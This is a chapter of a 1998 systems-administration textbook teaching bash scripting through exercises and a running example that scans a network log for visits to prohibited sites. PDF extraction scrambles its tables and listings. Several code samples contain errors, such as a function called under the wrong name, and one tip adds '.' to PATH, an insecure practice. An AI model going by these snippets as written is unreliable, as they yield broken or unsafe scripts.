This simply instructs the shell to take a list of commands from a given file (your shell script). This method does not require the shell script to have execute permissions. However, in general you will execute your shell scripts via the first method. And yet you may still find your script wont execute - why? On some UNIX systems (Red Hat Linux included) the current directory (.) is not included in the PATH environment variable. This mans that the shell cant find the script that you want to execute, even when its sitting in the current directory! To get around this either: Modify the PATH variable to include the . directory:
PATH=$PATH:.

Or, execute the program with an explicit path:

./helloworld

David Jones and Bruce Jamieson (15/10/98)

Page 142

85321, Systems Administration

Chapter 8: Shell Programming

An Explanation of the Program

Line one, #!/bin/bash is used to indicate which shell the shell program is to be run in. If this program was written for the C shell, then you might have #!/bin/csh instead. It is probably worth mentioning at this point that UNIX executes programs by first looking at the first two bytes of the file (this is similar to the way MSDOS looks at the first two bytes of executable programs; all .EXE programs start with MZ). From these two characters, the system knows if the file is an interpreted script (#!) or some other file type (more information can be obtained about this by typing man file). If the file is an interpreted script, then the system looks for a following path indicating an interpreter. For example:
#!/bin/bash #!/usr/bin/perl #!/bin/sh

Are all valid interpreters. Line two, # This is a program that says hello , is (you guessed it) a comment. The "#" in a shell script is interpreted as "anything to the right of this is a comment, go onto the next line". Note that it is similar to line one except that line one has the "!" mark after the comment. Comments are a very important part of any program - it is a really good idea to include some. The reasons why are standard to all languages - readability, maintenance and self congratulation. It is more so important for a system administrator as they very rarely remain at one site for their entire working career, therefore, they must work with other people's shell scripts (as other people must work with theirs). Always have a comment header; it should include things like:
# # # # # # # # # # # # # AUTHOR: DATE: PROGRAM: USAGE: PURPOSE: FILES: NOTES: HISTORY: Who wrote it Date first written Name of the program How to run the script; include any parameters Describe in more than three words what the program does Files the shell script uses Optional but can include a list of "features" to be fixed Revisions/Changes

This format isn't set in stone, but use common sense and write fairly self documenting programs. Line three, echo "Hello $LOGNAME, I hope you have a nice day!" is actually a command. The echo command prints text to the screen. Normal shell rules for interpreting special characters apply for the echo

David Jones and Bruce Jamieson (15/10/98)

Page 143

85321, Systems Administration

Chapter 8: Shell Programming

statement, so you should generally enclose most text in "". The only tricky bit about this line is the $LOGNAME . What is this? $LOGNAME is a shell variable; you can see it and others by typing "set" at the shell prompt. In the context of our program, the shell substitutes the $LOGNAME value with the username of the person running the program, so the output looks something like:
Hello jamiesob, I hope you have a nice day!

All variables are referenced for output by placing a "$" sign in front of them we will examine this in the next section. Exercises
8.1

Modify the helloworld program so its output is something similar to:

Hello <username>, welcome to <machine name>

All You Ever Wanted to Know About Variables

You have previously encountered shell variables and the way in which they are set. To quickly revise, variables may be set at the shell prompt by typing:
Shell_Prompt: variable="a string"

Since you can type this at the prompt, the same syntax applies within shell programs. You can also set variables to the results of commands, for example:
Shell_Prompt: variable=`ls -al`

(Remember - the ` is the execute quote) To print the contents of a variable, simply type:
Shell_Prompt: echo $variable

Note that we've added the "$" to the variable name. Variables are always accessed for output with the "$" sign, but without it for input/set operations. Returning to the previous example, what would you expect to be the output? You would probably expect the output from ls -al to be something like:
drwxr-xr-x drwxr-xr-x -rw-r--r--rw-r--r--rw-r--r--rw-r--r-2 45 1 1 1 1 jamiesob jamiesob jamiesob jamiesob jamiesob jamiesob users users users users users users 1024 2048 851 12517 8 46604 Feb Feb Feb Feb Feb Feb 27 25 25 25 26 25 19:05 20:32 19:37 19:36 22:50 19:34 ./ ../ conX confile helloworld net-acct

David Jones and Bruce Jamieson (15/10/98)

Page 144

85321, Systems Administration

Chapter 8: Shell Programming

and therefore, printing a variable that contains the output from that command would contain something similar, yet you may be surprised to find that it looks something like:
drwxr-xr-x 2 jamiesob users 1024 Feb 27 19:05 ./ drwxr-xr-x 45 jamiesob users 2048 Feb 25 20:32 ../ -rw-r--r-- 1 jamiesob users 851 Feb 25 19:37 conX -rw-r--r-- 1 jamiesob users 12517 Feb 25 19:36 confile -rw-r--r-- 1 jamiesob users 8 Feb 26 22:50 helloworld -rw-r-r-- 1 jamiesob users 46604 Feb 25 19:34 net-acct

Why?
When placing the output of a command into a shell variable, the shell removes all the end-of-line markers, leaving a string separated only by spaces. The use for this will become more obvious later, but for the moment, consider what the following script will do: #!/bin/bash
filelist=`ls` cat $filelist

Exercise
8.2

Type in the above program and run it. Explain what is happening. Would the above program work if "ls -al" was used rather than "ls" - Why/why not?

Predefined Variables
There are many predefined shell variables, most established during your login. Examples include $LOGNAME, $HOSTNAME and $TERM - these names are not always standard from system to system (for example, $LOGNAME can also be called $USER). There are however, several standard predefined shell variables you should be familiar with. These include:
$$ $? (The current process ID) (The exits status of last command)

How would these be useful? $$ $$ is extremely useful in creating unique temporary files. You will often find the following in shell programs:
some command > /tmp/temp.$$ . . some commands using /tmp/temp.$$> . . rm /tmp/temp.$$

David Jones and Bruce Jamieson (15/10/98)

Page 145

85321, Systems Administration

Chapter 8: Shell Programming

/tmp/temp.$$ would always be a unique file - this allows several people to run the same shell script simultaneously. Since one of the only unique things about a process is its PID (Process-Identifier), this is an ideal component in a temporary file name. It should be noted at this point that temporary files are generally located in the /tmp directory. $? $? becomes important when you need to know if the last command that was executed was successful. All programs have a numeric exit status - on UNIX systems 0 indicates that the program was successful, any other number indicates a failure. We will examine how to use this value at a later point in time. Is there a way you can show if your programs succeeded or failed? Yes! This is done via the use of the exit command. If placed as the last command in your shell program, it will enable you to indicate, to the calling program, the exit status of your script. exit is used as follows:
exit 0 exit 1 # Exit the script, $? = 0 (success) # Exit the script, $? = 1 (fail)

Another category of standard shell variables are shell parameters.

Parameters - Special Shell Variables

If you thought shell programming was the best thing since COBOL, then you haven't even begun to be awed - shell programs can actually take parameters. Table 8.1 lists each variable associated with parameters in shell programs: Variable $0 $1 thru $9 $# $* $@ Purpose the name of the shell program the first thru to ninth parameters the number of parameters all the parameters passed represented as a single word with individual parameters separated all the parameters passed with each parameter as a separate word
She ll Table 8 .1 Par ame te r Var iable s

The following program demonstrates a very basic use of parameters:

#!/bin/bash # FILE: parm1 VAL=`expr ${1:-0} + ${2:-0} + ${3:-0}` echo "The answer is $VAL"

Pop Quiz: Why are we using ${1:-0} instead of $1? Hint: What would happen if any of the variables were not set? A sample testing of the program looks like:

David Jones and Bruce Jamieson (15/10/98)

Page 146

85321, Systems Administration

Chapter 8: Shell Programming

Shell_Prompt: parm1 2 3 5 The answer is 10 Shell_Prompt: parm1 2 3 The answer is 5 Shell_Prompt: The answer is 0

Consider the program below:

#!/bin/bash # FILE: mywc

FCOUNT='ls $* 2> /dev/null | wc -w' echo "Performing word count on $*" echo wc -w $* 2> /dev/null echo echo "Attempted to count words on $# files, found $FCOUNT"

If the program that was run in a directory containing:

conX confile helloworld my_file mywc* net-acct netnasties netnasties~ netwatch netwatch~ notes.txt notes.txt~ scanit* scanit~ shellprog shellprog~ study.htm study.txt study_~1.htm parm1* t1~ ttt tes/

Some sample testing would produce:

Shell_Prompt: mywc mywc Performing word count on mywc 34 mywc Attempted to count words on 1 files, found Shell_Prompt: mywc mywc anotherfile Performing word count on mywc anotherfile 34 mywc 34 total 1

Attempted to count words on 2 files, found

Exercise
8.3

Explain line by line what this program is doing. What would happen if the user didn't enter any parameters? How could you fix this?

David Jones and Bruce Jamieson (15/10/98)

Page 147

85321, Systems Administration

Chapter 8: Shell Programming

Only Nine Parameters?

Well that's what it looks like doesn't it? We have $1 to $9 - what happens if we try to access $10? Try the code below:
#!/bin/bash # FILE: testparms echo "$1 $2 $3 $4 $5 $6 $7 $8 $9 $10 $11 $12" echo $* echo $#

Run testparms as follows:

Shell_Prompt: testparms a b c d e f g h I j k l

The output will look something like:

a b c d e f g h i a0 a1 a2 a b c d e f g h I j k l 12

Why? The shell only has 9 parameters defined at any one time $1 to $9. When the shell sees "$10" it interprets this as "$1" and "0" therefore resulting in the "1p0" string. Yet $* still shows all the parameters you typed! To our rescue comes the shift command. shift works by removing the first parameter from the parameter list and shuffling the parameters along. Thus $2 becomes $1, $3 becomes $2 etc. Finally, (what was originally) the tenth parameter becomes $9. However, beware! Once you've run shift, you have lost the original value of $1 forever - it is also removed from $* and $@. shift is executed by, well, placing the word "shift" in your shell script, for example:
#!/bin/bash echo $1 $2 $3 shift echo $1 $2 $3

Exercise
8.4

Modify the testparms program so the output looks something like: a b c d e f g h i a0 a1 a2 abcdefghIjkl 12 b c d e f g h i j b1 b2 b3 bcdefghijkl 11 c d e f g h i j k c0 c1 c2 cdefghIjkl 10

David Jones and Bruce Jamieson (15/10/98)

Page 148

85321, Systems Administration

Chapter 8: Shell Programming

The difference between $* and $@

While the definitions between the $* and $@ may seem subtle, it is important to distinguish between them. As you have seen $* represents the complete list of characters as one string. If your were to perform:
echo $*

and
echo $@

the results would appear the same. However, when using these variables within your programs you should be aware that the shell stores them in two different ways. Example
# $1 = x $2 = "helo fred" $3 = 345 $* = $1 $2 $3 ... eg. x helo fred 345 $@ = "$1" "$2" "$3" ... eg. "x" "helo fred" "345"

As we progress through this chapter, remember this, as we will encounter it again when we examine the repeated action commands (while/for loops).

The basics of input/output (IO)

We have already encountered the "echo" command, yet this is only the "O" part of IO - how can we get user input into our programs? We use the "read" command. For example:
#!/bin/bash # FILE: testread read X echo "You said $X"

The purpose of this enormously exciting program should be obvious. Just in case you were bored with the echo command. Table 8.2 shows a few backslash characters that you can use to brighten your shell scripts:

David Jones and Bruce Jamieson (15/10/98)

Page 149

85321, Systems Administration

Chapter 8: Shell Programming

Character
\a \b \c \n \r \t \v \\ \nnn

Purpose alert (bell) backspace don't display the trailing newline new line carriage return horizontal tab vertical tab backslash the character with ASCII number nnn (octal)
ech o Table 8 .2 bac kslash o ptio ns

(type "man echo" to see this exact table :) To enable echo to interpret these backslash characters within a string, you must issue the echo command with a "-e" switch. You may also add a "-n" switch to stop echo printing a new-line at the end of the string - this is a good thing if you want to output a prompting string. For example:
#!/bin/bash # FILE: getname echo -n "Please enter your name: " read NAME echo "Your name is $NAME"

(This program would be useful for those with a very short memory) At the moment, we've only examined reading from STDIN (standard input a.k.a. the keyboard) and STDOUT (standard output a.k.a. the screen) - if we want to be really clever we can change this. What do you think the following does?
read X < afile

or what about
echo $X > anotherfile

If you said that the first read the contents of afile into a variable $X and the second wrote the value of $X to anotherfile you'd almost be correct. The read operation will only read the first line (up to the end-of-line marker) from afile - it doesn't read the entire file. You can also use the ">>" and "<<" redirection operators.

David Jones and Bruce Jamieson (15/10/98)

Page 150

85321, Systems Administration

Chapter 8: Shell Programming

Exercises
8.5

What would you expect: read X << END would do? What do you think $X would hold if the input was: Dear Sir I have no idea why your computer blew up. Kind regards, me. END

And now for the hard bits

Scenario
So far we have been dealing with very simple examples - mainly due to the fact we've been dealing with very simple commands. Shell scripting was not invented so you could write programs that ask you your name then display it. For this reason, we are going to be developing a real program that has a useful purpose. We will do this section by section as we examine more shell programming concepts. While you are reading each section, you should consider how the information could assist in writing part of the program. The actual problem is as follows: You've been appointed as a system administrator to an academic department within a small (anonymous) regional university. The previous system administrator left in rather a hurry after it was found that departments main server had being playing host to plethora of pornography, warez (pirate software) and documentation regarding interesting alternative uses for various farm chemicals. There is some concern that the previous sys admin wasnt the only individual within the department who had been availing themselves to such wonderful and diverse resources on the Internet. You have been instructed to identify those persons who have been visiting "undesirable" Internet sites and advise them of the department's policy on accessing inappropriate material (apparently there isn't one, but you've been advised to improvise). Ideally, you will produce a report of people accessing restricted sites, exactly which sites and the number of times they visited them. To assist you, a network monitoring program produces a datafile containing a list of users and sites they have accessed, an example of which is listed below:

David Jones and Bruce Jamieson (15/10/98)

Page 151

85321, Systems Administration

Chapter 8: Shell Programming

FILE: netwatch jamiesob mucus.slime.com tonsloye xboys.funnet.com.fr tonsloye sweet.dreams.com root sniffer.gov.au jamiesob marvin.ls.tc.hk jamiesob never.land.nz jamiesob guppy.pond.cqu.edu.au tonsloye xboys.funnet.com.fr tonsloye www.sony.com janesk horseland.org.uk root www.nasa.gov tonsloye warez.under.gr tonsloye mucus.slime.com root ftp.ns.gov.au tonsloye xboys.funnet.com.fr root linx.fare.com root crackz.city.bmr.au janesk smurf.city.gov.au jamiesob mucus.slime.com jamiesob mucus.slime.com

After careful consideration (and many hours of painstaking research) a steering committee on the department's policy on accessing the internet has produced a list of sites that they have deemed "prohibited" - these sites are contained in a data file, an example of which is listed below:
FILE: netnasties

mucus.slime.com xboys.funnet.com.fr warez.under.gr crackz.city.bmr.au

It is your task to develop a shell script that will fulfil these requirements (at the same time ignoring the privacy, ethics and censorship issues at hand :) (Oh, it might also be an idea to get Yahoo! to remove the link to your main server under the /Computers/Software/Hackz/Warez/Sites listing... ;)

if ... then ... maybe?

Shell programming provides the ability to test the exit status from commands and act on them. One way this is facilitated is:
if command then do other commands fi

You may also provide an "alternate" action by using the "if" command in the following format:

David Jones and Bruce Jamieson (15/10/98)

Page 152

85321, Systems Administration

Chapter 8: Shell Programming

if command then do other commands else do other commands fi

And if you require even more complexity, you can issue the if command as:
if command then do other commands elif anothercommand do other commands fi

To test these structures, you may wish to use the true and false UNIX commands. true always sets $? to 0 and false sets $? to 1 after executing. Remember: if tests the exit code of a command - it isnt used to compare values; to do this, you must use the test command in combination with the if structure - test will be discussed in the next section. What if you wanted to test the output of two commands? In this case, you can use the shell's && and || operators. These are effectively "smart" AND and OR operators. The && works as follows:
command1 && command2

command2 will only be executed if command1 succeeds. The || works as follows:

command1 || command2

command2 will only be executed if command1 fails. These are sometimes referred to as "short circuit" operators in other languages. Given our problem, one of the first things we should do in our program is to check if our datafiles exist. How would we do this?
#!/bin/bash # FILE: scanit if ls netwatch && ls netnasties then echo "Found netwatch and netnasties!" else echo "Can not find one of the data files - exiting" exit 1 fi

David Jones and Bruce Jamieson (15/10/98)

Page 153

85321, Systems Administration

Chapter 8: Shell Programming

Exercise
8.6

Enter the code above and run the program. Notice that the output from the ls commands (and the errors) appear on the screen - this isn't a very good thing. Modify the code so the only output to the screen is one of the echo messages.

Testing Testing...
Perhaps the most useful command available to shell programs is the test command. It is also the command that causes the most problems for first time shell programmers - the first program they ever write is usually (imaginatively) called test - they attempt to run it - and nothing happens - why? (Hint: type which test, then type echo $PATH - why does the system command test run before the programmer's shell script?) The test command allows you to: test the length of a string compare two strings compare two numbers check on a file's type check on a file's permissions combine conditions together test actually comes in two flavours:
test an_expression

and
[ an_expression ]

They are both the same thing - it's just that [ is soft-linked to /usr/bin/test ; test actually checks to see what name it is being called by; if it is [ then it expects a ] at the end of the expression. What do we mean by "expression"? The expression is the string you want evaluated. A simple example would be:
if [ "$1" = "hello" ] then echo "hello to you too!" else echo "hello anyway" fi

This simply tests if the first parameter was hello. Note that the first line could have been written as:
if test "$1" = "hello"

Tip: Note that we surrounded the variable $1 in quotes. This is to take care of the case when $1 doesn't exist - in other words, there were no parameters passed. If we had simply put $1 and there wasn't any $1, then an error would have been displayed:
David Jones and Bruce Jamieson (15/10/98) Page 154

85321, Systems Administration

Chapter 8: Shell Programming

test: =: unary operator expected

This is because you'd be effectively executing:

test NOTHING = "hello"

= expects a string to its left and right - thus the error. However, when placed in double quotes, you be executing:
test "" = "hello"

which is fine; you're testing an empty string against another string. You can also use test to tell if a variable has a value in it by:
test $var

This will return true if the variable has something in it, false if the variable doesn't exist OR it contains null (""). We could use this in our program. If the user enters at least one username to check on, them we scan for that username, else we write an error to the screen and exit:
if [ $1 ] then the_user_list=echo $* else echo "No users entered - exiting! exit 2 fi

Expressions, expressions!
So far we've only examined expressions containing string based comparisons. The following tables list all the different types of comparisons you can perform with the test command. Expression
-z string -n string string1 = string2 string != string2 String

True if length of string is 0 length of string is not 0 if the two strings are identical if the two strings are NOT identical if string is not NULL
Table 8 .3 Str ing base d te sts

Expression
int1 int1 int1 int1 int1 int1 -eq -ne -gt -ge -lt -le int2 int2 int2 int2 int2 int2

True if first int is equal to second first int is not equal to second first int is greater than second first int is greater than or equal to second first int is less than second first int is less than or equal to second
Table 8 .4 Nume r ic te sts

David Jones and Bruce Jamieson (15/10/98)

Page 155

85321, Systems Administration

Chapter 8: Shell Programming

Expression
-r -w -x -f -d -h -c -b -p -u -g -k -s file file file file file file file file file file file file file

True if File exists and is readable file exists and is writable file exists and is executable file exists and is a regular file file exists and is directory file exists and is a symbolic link file exists and is a character special file file exists and is a block special file file exists and is a named pipe file exists and it is setuid file exists and it is setgid file exists and the sticky bit is set file exists and its size is greater than 0
Table 8 .5 File te sts

Expression
! -a -o ( expr )

Purpose reverse the result of an expression AND operator OR operator group an expression, parentheses have special meaning to the shell so to use them in the test command you must quote them
Lo g ic Table 8 .6 o pe r ato r s with te st

Remember: test uses different operators to compare strings and numbers using -ne on a string comparison and != on a numeric comparison is incorrect and will give undesirable results.

Exercise
8.7

Modify the code for scanit so it uses the test command to see if the datafiles exists.

All about case

Ok, so we know how to conditionally perform operations based on the return status of a command. However, like a combination between the if statement and the test $string = $string2, there exists the case statement.

David Jones and Bruce Jamieson (15/10/98)

Page 156

85321, Systems Administration

Chapter 8: Shell Programming

case value in pattern 1) command anothercommand ;; pattern 2) command anothercommand ;; esac

case works by comparing value against the listed patterns. If a match is made, then the commands associated with that pattern are executed (up to the ";;" mark) and $? is set to 0. If a match isn't made by the end of the case statement (esac) then $? is set to 1. The really useful thing is that wildcards can be used, as can the "|" symbol which acts as an OR operator. The following example gets a Yes/No response from a user, but will accept anything starting with "Y" or "y" as YES, "N" or "n" as no and anything else as "MAYBE"
echo read case Y* N* *) esac echo -n "Your Answer: " ANSWER $ANSWER in | y*) ANSWER="YES" ;; | n*) ANSWER="NO" ;; ANSWER="MAYBE" ;; $ANSWER

Exercise
8.8

Write a shell script that inputs a date and converts it into a long date form. For example: $~ > mydate 12/3/97 12th of March 1997 $~ > mydate Enter the date: 1/11/74 1st of November 1974

Loops and Repeated Action Commands

Looping - "the exciting process of doing something more than once" - and shell programming allows it. There are three constructs that implement looping:
while - do - done for - do - done until - do - done

David Jones and Bruce Jamieson (15/10/98)

Page 157

85321, Systems Administration

Chapter 8: Shell Programming

while
The format of the while construct is:
while command do commands done

(while command is true, commands are executed) Example

while [ $1 ] do echo $1 shift done

What does this segment of code do? Try running a script containing this code with a b c d e on the command line. while also allows the redirection of input. Consider the following:
#!/bin/bash # FILE: linelist # count=0 while read BUFFER do count=`expr $count + 1` # Increment the count echo "$count $BUFFER" # Echo it out done < $1 # Take input from the file

This program reads a file line by line and echos it to the screen with a line number. Given our scanit program, the following could be used read the netwatch datafile and compare the username with the entries in the datafile:
while read buffer do user=`echo $buffer | cut -d" " -f1` site=`echo $buffer | cut -d" " -f2` if [ "$user" = "$1" ] then echo "$user visited $site" fi done < netwatch

Exercise
8.9

Modify the above code so that the site is compared with all sites in the prohibited sites file (netnasties). Do this by using another while loop. If the user has visited a prohibited site, then echo a message to the screen.

David Jones and Bruce Jamieson (15/10/98)

Page 158

85321, Systems Administration

Chapter 8: Shell Programming

for
The format of the for construct is:
for variable in list_of_variables do commands done

(for each value in list_of_variables, "commands" are executed) Example

echo $# for VAR in $* do echo $VAR done

Herein lies the importance between $* and $@. Try the above program using:
this is a sentence

as the input. Now try it with:

"this is" a sentence

Your output for the first run should look something like:
4 this is a sentence

and the second run

3 this is a sentence

Remember that $* effectively is "$1 $2 $3 $4 $5 $6 $7 $8 $9 $10 ... $n". Exercise

8.10

Modify the previous segment of code, changing $* to $@. What do you think the output will be? Try it.

Modifying scanit Given our scanit program, we might wish to report on a number of users. The following modifications will allow us to accept and process multiple users from the command line:

David Jones and Bruce Jamieson (15/10/98)

Page 159

85321, Systems Administration

Chapter 8: Shell Programming

for checkuser in $* do while read buffer do while read checksite do user=`echo $buffer | cut -d" " -f1` site=`echo $buffer | cut -d" " -f2` if [ "$user" = "$checkuser" -a "$site" = "$checksite" ] then echo "$user visited the prohibited site $site" fi done < netnasties done < netwatch done

Exercise
8.11

The above code is very inefficient IO wise - for every entry in the netwatch file, the entire netnasties file is read in. Modify the code so that the while loop reading the netnasties file is replaced by a for loop. (Hint: what does:
BADSITES=`cat netnasties`

do?) EXTENSION: What other IO inefficiencies does the code have? Fix them.

until
The format of the until construct is:
until command do commands done

("commands" are executed until "command" is true) Example

until [ "$1" = "" ] do echo $1 shift done

David Jones and Bruce Jamieson (15/10/98)

Page 160

85321, Systems Administration

Chapter 8: Shell Programming

break and continue

Occasionally you will want to jump out of a loop; to do this you need to use the break command. break is executed in the form:
break

or
break n

The first form simply stops the loop, for example:

while true do read BUFFER if [ "$BUFFER" = "" ] then break fi echo $BUFFER done

This code takes a line from the user and prints it until the user enters a blank line. The second form of break, break n (where n is a number) effectively works by executing break "n" times. This can break you out of embedded loops, for example:
for file in $* do while read BUFFER do if [ "$BUFFER" = "ABORT" ] then break 2 fi echo $BUFFER done < $file done

This code prints the contents of multiple files, but if it encounters a line containing the word "ABORT" in any one of the files, it stops processing. Like break, continue is used to alter the looping process. However, unlike break, continue keeps the looping process going; it just fails to finish the remainder of the current loop by returning to the top of the loop. For example:
while read BUFFER do charcount=`echo $BUFFER | wc -c | cut -f1` if [ $x2 -gt 80 ] then continue fi echo $BUFFER done < $1

This code segment reads and echos the contents of a file - however, it does not print lines that are over 80 characters long.

David Jones and Bruce Jamieson (15/10/98)

Page 161

85321, Systems Administration

Chapter 8: Shell Programming

Redirection
Not just the while - do - done loops can have IO redirection; it is possible to perform piping, output to files and input from files on if, for and until as well. For example:
if true then read x read y read x fi < afile

This code will read the first three lines from afile. Pipes can also be used:
read BUFFER while [ "$BUFFER" != "" ] do echo $BUFFER read BUFFER done | todos > tmp.$$

This code uses a non-standard command called todos. todos converts UNIX text files to DOS textfiles by making the EOL (End-Of-Line) character equivalent to CR (Carriage-Return) LF (Line-Feed). This code takes STDIN (until the user enters a blank line) and pipes it into todos, which inturn converts it to a DOS style text file ( tmp.$$ ) . In all, a totally useless program, but it does demonstrate the possibilities of piping.

Now for the really hard bits

Functional Functions
A symptom of most useable programming languages is the existence of functions. Theoretically, functions provide the ability to break your code into reusable, logical compartments that are the by product of top-down design. In practice, they vastly improve the readability of shell programs, making it easier to modify and debug them. An alternative to functions is the grouping of code into separate shell scripts and calling these from your program. This isn't as efficient as functions, as functions are executed in the same process that they were called from; however other shell programs are launched in a separate process space - this is inefficient on memory and CPU resources. You may have noticed that our scanit program has grown to around 30 lines of code. While this is quite manageable, we will make some major changes later that really require the "modular" approach of functions.

David Jones and Bruce Jamieson (15/10/98)

Page 162

85321, Systems Administration

Chapter 8: Shell Programming

Shell functions are declared as:

function_name() { somecommands }

Functions are called by:

function_name parameter_list

YES! Shell functions support parameters. $1 to $9 represent the first nine parameters passed to the function and $* represents the entire parameter list. The value of $0 isn't changed. For example:
#!/bin/bash # FILE: catfiles

catfile() { for file in $* do cat $file done } FILELIST=`ls $1` cd $1 catfile $FILELIST

This is a highly useless example (cat * would do the same thing) but you can see how the "main" program calls the function.

local
Shell functions also support the concept of declaring "local" variables. The local command is used to do this. For example:
#!/bin/bash testvars() { local localX="testvars localX" X="testvars X" local GlobalX="testvars GlobalX" echo "testvars: localX= $localX X= $X GlobalX= $GlobalX" } X="Main X" GlobalX="Main GLobalX" echo "Main 1: localX= $localX X= $X GlobalX= $GlobalX" testvars echo "Main 2: localX= $localX X= $X GlobalX= $GlobalX"

The output looks like:

Main 1: localX= X= Main X GlobalX= Main GLobalX testvars: localX= testvars localX X= testvars X GlobalX= testvars GlobalX Main 2: localX= X= testvars X GlobalX= Main GLobalX

David Jones and Bruce Jamieson (15/10/98)

Page 163

85321, Systems Administration

Chapter 8: Shell Programming

The return trip

After calling a shell function, the value of $? is set to the exit status of the last command executed in the shell script. If you want to explicitly set this, you can use the return command:
return n

(Where n is a number) This allows for code like:

if function1 then do_this else do_that fi

For example, we can introduce our first function into our scanit program by placing our datafile tests into a function:
#!/bin/bash # FILE: # scanit

check_data_files() { if [ -r netwatch -a -r netnasties ] then return 0 else return 1 fi } # Main Program if check_data_files then echo "Datafiles found" else echo "One of the datafiles missing - exiting" exit 1 fi # our other work...

Recursion: (see "Recursion")

Shell programming even supports recursion. Typically, recursion is used to process tree-like data structures - the following example illustrates this:

David Jones and Bruce Jamieson (15/10/98)

Page 164

85321, Systems Administration

Chapter 8: Shell Programming

#!/bin/bash # FILE:

wctree

wcfiles() { local BASEDIR=$1 # Set the local base directory local LOCALDIR=`pwd` # Where are we? cd $BASEDIR # Go to this directory (down) local filelist=`ls` # Get the files in this directory for file in $filelist do if [ -d $file ] # If we are a directory, recurs then # we are a directory wcfiles "$BASEDIR/$file" else fc=`wc -w < $file` # do word count and echo info echo "$BASEDIR/$file $fc words" fi done cd $LOCALDIR # Go back up to the calling directory } if [ $1 ] then wcfile $1 else wcfile "." fi # Default to . if no parms

Exercise
8.12

What does the wctree program do? Why are certain variables declared as local? What would happen if they were not? Modify the program so it will only "recurs" 3 times. EXTENSION: There is actually a UNIX command that will do the same thing as this shell script - what is it? What would be the command line? (Hint: man find)

wait'ing and trap'ing

So far we have only examined linear, single process shell script examples. What if you want to have more than one action occurring at once? As you are aware, it is possible to launch programs to run in the background by placing an ampersand behind the command, for example:
runcommand &

You can also do this in your shell programs. It is occasionally useful to send a time consuming task to the background and proceed with your processing. An example of this would be a sort on a large file:
sort $largefile > $newfile & do_a_function do_another_funtion $newfile

David Jones and Bruce Jamieson (15/10/98)

Page 165

85321, Systems Administration

Chapter 8: Shell Programming

The problem is, what if the sort hadn't finished by the time you wanted to use $newfile? The shell handles this by providing wait :
sort $largefile > $newfile & do_a_function wait do_another_funtion $newfile

When wait is encountered, processing stops and "waits" until the child process returns, then proceeds on with the program. But what if you had launched several processes in the background? The shell provides the shell variable $! (the PID of the child process launched) which can be given as a parameter to wait - effectively saying "wait for this PID". For example:
sort $largefile1 > SortPID1=$! sort $largefile2 > SortPID2=$! sort $largefile3 > SortPID3=$! do_a_function wait $SortPID1 do_another_funtion wait $SortPID2 do_another_funtion wait $SortPID3 do_another_funtion $newfile1 & $newfile2 & $newfile3 &

$newfile1 $newfile2 $newfile3

Another useful command is trap. trap works by associating a set of commands with a signal from the operating system. You will probably be familiar with:
kill -9 PID

which is used to kill a process. This command is in fact sending the signal "9" to the process given by PID. Available signals are shown in Table 8.7. Signal 0 1 2 3 4 5 6 7 8 10 12 13 14 15 Meaning Exit from the shell Hangup Interrupt Quit Illegal Instruction Trace trap IOT instruction EMT instruction Floating point exception Bus error Bad argument Pipe write error Alarm Software termination signal
Table 8 .7 UNIX sig nals

(Taken from "UNIX Shell Programming" Kochan et al)

David Jones and Bruce Jamieson (15/10/98)

Page 166

85321, Systems Administration

Chapter 8: Shell Programming

While you can't actually trap signal 9, you can trap the others. This is useful in shell programs when you want to make sure your program exits gracefully in the event of a shutdown (or some such event) (often you will want to remove temporary files the program has created). The syntax of using trap is:
trap commands signals

For example:
trap "rm /tmp/temp.$$" 1 2

will trap signals 1 and 2 - whenever these signals occur, processing will be suspended and the rm command will be executed. You can also list every trap'ed signal by issuing the command:
trap

To "un-trap" a signal, you must issue the command:

trap "" signals

The following is a somewhat clumsy form of IPC (Inter-Process Communication) that relies on trap and wait:
#!/bin/bash # FILE: saymsg # USAGE: saymsg <create number of children> [total number of # children] readmsg() { read line < $$ # read a line from the file given by the PID echo "$ID - got $line!" # of my *this* process ($$) if [ $CHILD ] then writemsg $line # if I have children, send them message fi } writemsg() { echo $* > $CHILD kill -1 $CHILD } stop() { kill -15 $CHILD if [ $CHILD ] then wait $CHILD rm $CHILD fi exit 0 } # Main Program if [ $# -eq 1 ] then NUMCHILD=`expr $1 - 1`

# Write line to the file given by PID # of my child. Then signal the child.

# tell my child to stop # wait until they are dead # remove the message file

David Jones and Bruce Jamieson (15/10/98)

Page 167

85321, Systems Administration

Chapter 8: Shell Programming

saymsg $NUMCHILD $1 & # Launch another child CHILD=$! ID=0 touch $CHILD # Create empty message file echo "I am the parent and have child $CHILD" else if [ $1 -ne 0 ] # Must I create children? then NUMCHILD=`expr $1 - 1` # Yep, deduct one from the number saymsg $NUMCHILD $2 & # to be created, then launch them CHILD=$! ID=`expr $2 - $1` touch $CHILD # Create empty message file echo "I am $ID and have child $CHILD" else ID=`expr $2 - $1` # I dont need to create children echo "I am $ID and am the last child" fi fi trap "readmsg" 1 trap "stop" 15 # Trap the read signal # Trap the drop-dead signal

if [ $# -eq 1 ] # If I have one parameter, then # then I am the parent - I just read read BUFFER # STDIN and pass the message on while [ "$BUFFER" ] do writemsg $BUFFER read BUFFER done echo "Parent - Stopping" stop else # Else I am the child who does nothing while true # I am totally driven by signals. do true done fi

So what is happening here? It may help if you look at the output:

psyche:~/sanotesShell_Prompt: saymsg 3 I am the parent and have child 8090 I am 1 and have child 8094 I am 2 and have child 8109 I am 3 and am the last child this is the first thing I type 1 - got this is the first thing I type! 2 - got this is the first thing I type! 3 - got this is the first thing I type! Parent - Stopping psyche:~/sanotesShell_Prompt:

Initially, the parent program starts, accepting a number of children to create. The parent then launches another program, passing it the remaining number of children to create and the total number of children. This happens on every launch of the program until there are no more children to launch.

David Jones and Bruce Jamieson (15/10/98)

Page 168

85321, Systems Administration

Chapter 8: Shell Programming

From this point onwards the program works rather like Chinese whispers - the parent accepts a string from the user which it then passes to its child by sending a signal to the child - the signal is caught by the child and readmsg is executed. The child writes the message to the screen, then passes the message to its child (if it has one) by signalling it and so on and so on. The messages are passed by being written to files - the parent writes the message into a file named by the PID of the child process. When the user enters a blank line, the parent process sends a signal to its child the signal is caught by the child and stop is executed. The child then sends a message to its child to stop, and so on and so on down the line. The parent process can't exit until all the children have exited. This is a very contrived example - but it does show how processes (even at a shell programming level) can communicate. It also demonstrates how you can give a function name to trap (instead of a command set). Exercise
8.13

saymsg is riddled with problems - there isn't any checking on the parent process command line parameters (what if there wasn't any?) and it isn't very well commented or written - make modifications to fix these problems. What other problems can you see? EXTENSION: Fundamentally saymsg isn't implementing very safe inter-process communication - how could this be fixed? Remember, one of the main problems concerning IPC is the race condition - could this happen?

Bugs and Debugging

